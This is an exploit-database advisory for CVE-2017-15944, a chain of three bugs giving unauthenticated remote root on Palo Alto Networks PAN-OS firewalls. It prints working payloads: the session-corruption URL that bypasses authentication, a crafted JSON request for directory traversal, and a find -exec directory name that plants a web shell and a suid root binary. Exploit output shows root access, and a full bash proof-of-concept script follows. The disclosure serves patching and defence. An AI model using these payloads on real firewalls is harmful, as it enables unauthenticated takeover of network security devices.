Palo Alto Networks firewalls remote root code execution(CVE-2017-15944)

2017-12-14T00:00:00
ID SSV:96983
Type seebug
Reporter Root
Modified 2017-12-14T00:00:00

Description

This is a public advisory for CVE-2017-15944 which is a remote root code execution bug in Palo Alto Networks firewalls.

Three separate bugs can be used together to remotely execute commands as root through the web management interface without authentication on: PAN-OS 6.1.18 and earlier, PAN-OS 7.0.18 and earlier, PAN-OS 7.1.13 and earlier, PAN-OS 8.0.5 and earlier.

Palo Alto Networks recommends not exposing the web management interface to the internet. By looking at Project Sonar or Shodan it is evident that it's actually quite common to deploy the firewalls with the web management interface listening on the WAN port.

PAN-OS 6.1.19, PAN-OS 7.0.19, PAN-OS 7.1.14 and PAN-OS 8.0.6 are patched and can be downloaded from https://support.paloaltonetworks.com/

DESCRIPTION

Bug #1: Partial authentication bypass

The file /etc/appweb3/conf/common.conf contains the web configuration for the web server that handles the web management interface.

It configures an authentication filter on most subdirectories using the following format: <Location /php> panAuthCheck on </Location>

This means that all requests to /php/* will be checked for an authenticated session cookie. The functionality itself is implemented in the libpanApiWgetFilter.so library file.

The function openAuthFilter() will look for the PHPSESSID cookie and then call the readSessionVarsFromFile() function on the session file to extract the dloc and user values.

The problem is that readSessionVarsFromFile() is not using the official PHP functions to read the serialized session data, but its own parser using strtok() which is not implemented correctly.

The PHP session format which readSessionVarsFromFile() tries to parse looks like this for string values: locale|s:2:"en"; Explained: var_name|s:str_length:"string value"; var_name|s:str_length:"another string";...

If we can inject a value into the session file that contains the "; character sequence, we can break the parser and inject our own value for the user variable.

We can do this by calling the /esp/cms_changeDeviceContext.esp script, which does not need any kind of authentication to be called.

It will call the panUserSetDeviceLocation() function located in panmodule.so, which splits the dloc GET parameter by ":" and sets the dloc and loc session variables to the second value.

We can corrupt the session file by calling the following url: /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";

Which produces the following contents in /tmp/sess_<sessionid>: dloc|s:20:"8:a'";user|s."1337";";loc|s:27:"16:a'";user|s."1337";:vsys1";

When this is parsed by the readSessionVarsFromFile() function, it will extract 16:a' as the value for the user variable.

It will then use this in XML requests to the backend to check if the user is authenticated, but this produces an XML injection that results in an invalid XML document:

Entity: line 1: parser error : attributes construct error <request cmd='op' cookie='16:a'' refresh='no'><operations xml='yes'><show><cli>

The extra single quote character is injected into the cookie value, which makes the request fail because of a parser error. Interestingly enough, the panCheckSessionExpired() function in libpanApiWgetFilter.so does not recognize this unexpected state and believes that authentication has succeeded.

We can now access any PHP file protected by the panAuthCheck directive using our manipulated session cookie.

Example: imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php <!DOCTYPE html> <html><head><title>Moved Temporarily</title></head> <body><h1>Moved Temporarily</h1> <p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php ">here</a>.</p> <address>PanWeb Server/ - at 127.0.0.1:28250 Port 80</address></body> </html> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" ' 10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";' @start@Success@end@ imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php 2>/dev/null|head -30 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" " http://www.w3.org/TR/html4/loose.dtd";> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <title>Debug Console</title>

It's important to note that we still don't have a valid, logged in session. Most PHP scripts will fail, but we do bypass the authentication check in the web server.

Bug #2: Arbitrary directory creation

The /php/utils/router.php file handles API requests for the web management interface backend communication. It exposes most of the PHP classes that comprise the web application in a simple remote procedure call interface over HTTP POST/JSON.

The /php/device/Administrator.php file declares the Administrator class. It contains a method called get that we can call from router.php.

In the get method there is an XML injection in the call to Direct::getConfigByXpath. The jsonArgs->id parameter is appended to the request without any sanitation. This allows us to manipulate the XML request that is sent to the backend.

Normal request: <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']" cookie="12312312312"/>

We can inject our own values into the end of the obj attribute, and therefore control all of the remaining XML request.

The pan_cfg_req_ctxt_construct() function in libpanmp_mp.so handles the parsing of XML requests in the backend.

If we send a request tag with the async-mode='yes' attribute set, the backend will create a temporary file and parent directory in /opt/pancfg/session/pan/user_tmp/<cookie value>/<jobid>.xml that contains the output of the request.

Since we can control the <cookie value> part of the created directory structure, we can use a directory traversal attack to create a directory with an arbitrary name anywhere on the system.

For example, by sending the following crafted POST request: {"action":"PanDirect","method":"execute","data": ["07c5807d0d927dcd0980f86024e5208b","Administrator.get", {"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}

The backend receives the following XML request, resulting in the /tmp/hacked directory being created: <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']" async-mode="yes" refresh="yes" cookie="../../../../../../tmp/hacked"/>

Bug #3: Command injection in cron script

There is a cron entry that executes /usr/local/bin/genindex_batch.sh every 15 minutes.

This shellscript will in turn execute /usr/local/bin/genindex.sh to generate indexes from database files in /opt/pancfg/mgmt/logdb/.

There is a command injection vulnerability in how this shellscript handles filename processing: <redacted at the request of PA networks>

Since we can create directories in $PAN_BASE_DIR/logdb/$dir/1, we are able to influence the output of the first find command.

This output is then used as an argument in the second execution of find, but without enclosing quotes. We can therefore inject arbitrary arguments in this invocation. By passing the -exec option to find, we can make it execute arbitrary system commands.

My exploit creates a directory called: * -print -exec python -c exec("[base64 code..]".decode("base64")) ;

The base64-encoded python code will be executed as root, which creates a simple web shell in /var/appweb/htdocs/api/c.php as well as a suid root wrapper in /bin/x.

EXPLOIT OUTPUT

``` imac:~/pa% python panos-rce.py http://10.0.0.1/ creating corrupted session... http://10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27 ";user|s."1337"; done, verifying.. http://10.0.0.1/php/utils/debug.php panAuthCheck bypassed verifying that directory creation works.. http://10.0.0.1/php/utils/router.php/Administrator.get http://10.0.0.1/api/test/202.xml creating /opt/pancfg/mgmt/logdb/traffic/1/ entry shell at http://10.0.0.1/api/c.php should be created in 8 minutes.. please wait

web shell created, rootshell accessible with /bin/x -p -c 'command' uid=99(nobody) gid=99(nobody) euid=0(root) Linux PA-3060 2.6.32.27-7.1.10.0.30 #1 SMP Thu May 4 20:10:01 PDT 2017 x86_64 x86_64 x86_64 GNU/Linux

$ ```

                                        
                                            
                                                #!/bin/bash
#
# Exploit Title: Fake Cookie Injection PoC - CVE-2017-15944
# Date: December 15, 2017
# Description: Create a take custom cookie and then verify it.
# CVE: CVE-2017-15944
# Author: Fernando Lagos (Zerial)
# https://twitter.com/Zerial
# https://blog.zerial.org
# https://nivel4.com
#
#
# Example:
# ~$ bash pan-poc.sh
#   Testing CVE-2017-15944 on https://96.8x.xxx.xx:4443
#   [+] Testing connection to host: OK
#   [+] Cooking session: OK
#   [+] Inserting fake cookie: OK
#   [+] Verifying session: OK
#   *** [!] Host https://96.8x.xxx.xx:4443 is  vulnerable.
#
# NOTE: Run as bash

uri=$1
echo "Testing CVE-2017-15944 on $uri"
echo -n "[+] Testing connection to host: "
curl --max-time 4 -k --connect-timeout 3 $uri -s -H "User-Agent:
CVE-2017-15944/PoC/v1 - https://nivel4.com";>/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo "Unreachable."
exit 1
fi
echo -n "[+] Cooking session: "
curl -s --connect-timeout 3 -k "$uri/php/login.php" -H "User-Agent:
CVE-2017-15944/PoC/v1 - https://nivel4.com"; -c /tmp/pan_cookie >/dev/null
echo "OK"
echo -n "[+] Inserting fake cookie: "
curl -s --connect-timeout 3 -k -vvv
"$uri/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";"
-b /tmp/pan_cookie -s -H "User-Agent: CVE-2017-15944/PoC/v1 -
https://nivel4.com"; 2>/dev/null|grep "Success" >/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo "Error."
exit 1
fi
echo -n "[+] Verifying session: "
curl -s -k --connect-timeout 3 "$uri/php/utils/debug.php" -b
/tmp/pan_cookie -H "User-Agent: CVE-2017-15944/PoC/v1 - https://nivel4.com";
|grep -i "Debug Console">/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo -e "\033[1;33m[!]\033[0m Warning. Can't verify. \033[1;33mPlease check
manually\033[0m."
exit 1
fi
echo -e "*** \033[0;31m[!]\033[0m Host $uri is \033[0;31m
vulnerable\033[0m."